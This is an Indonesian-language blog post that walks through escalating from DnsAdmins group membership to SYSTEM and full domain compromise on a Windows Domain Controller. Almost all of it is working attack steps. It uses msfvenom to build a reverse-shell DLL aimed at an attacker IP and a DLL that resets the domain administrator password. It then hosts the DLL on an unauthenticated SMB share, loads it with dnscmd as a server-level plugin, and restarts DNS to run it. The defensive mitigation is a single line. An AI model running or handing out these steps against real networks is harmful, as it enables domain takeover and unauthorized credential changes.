Post

From DnsAdmins to SYSTEM to Domain Compromise

Menjadi member grup DnsAdmins memungkinkan kita untuk menggunakan perintah dnscmd.exe untuk menentukan plugin DDL yang harus diproses oleh layanan DNS.

Dengan membuat malicious DLL, kita sebagai penyerang dapat mengambil alih Domain Controller.

Penjelasan tentang serangan dapat Anda baca di sini.

Tujuan

  • Privilege escalation

Prasyarat

  • User adalah member dari grup DnsAdmins

Tools

  • Msfvenom
  • Visual Studio

Tahapan eksploitasi

Step 1: Cek Keanggotaan Grup

1
PS> whoami /all

whoamiall

Step 2: Buat Malicious DLL

1
2
3
4
# metasploit
➜ msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.43.100 LPORT=4444 -f dll > privesc.dll

➜ msfvenom -p windows/x64/exec cmd='net user administrator P@s5w0rd123! /domain' -f dll > changeadmin.dll

Penggunaan msfvenom dapat membuat environment menjadi crash. Sebagai gantinya kita bisa membuat custom DLL yang lebih aman seperti pada artikel ini.

Step 3: Siapkan SMB Server

Tahapan ini dilakukan agar dnscmd.exe dapat mengakses DLL yang ada pada SMB server kita.

1
2
# siapkan SMB server (tanpa otentikasi)
➜ lpe smbserver.py share .
1
2
# hubungkan target dengan SMB server kita
PS> net use \\10.10.14.3\share

Step 4: DLL Injection

1
2
3
4
5
6
# tambahkan DLL plugin ke DNS server
PS> dnscmd 127.0.0.1 /config /serverlevelplugindll \\10.10.14.3\share\privesc.dll

# matikan dan nyalakan DNS agar plugin tereksekusi
PS> sc.exe <FQDN of DC/127.0.0.1> stop dns  
PS> sc.exe <FQDN of DC/127.0.0.1> start dns

DNS DLL Injection

Mitigasi

Perhatikan kembali penentuan keanggotaan grup DnsAdmins.


Referensi

  • https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
  • https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise
  • https://www.youtube.com/watch?v=8KJebvmd1Fk&t=2740s
  • https://medium.com/techzap/dns-admin-privesc-in-active-directory-ad-windows-ecc7ed5a21a2
  • https://github.com/dim0x69/dns-exe-persistance
This post is licensed under CC BY 4.0 by the author.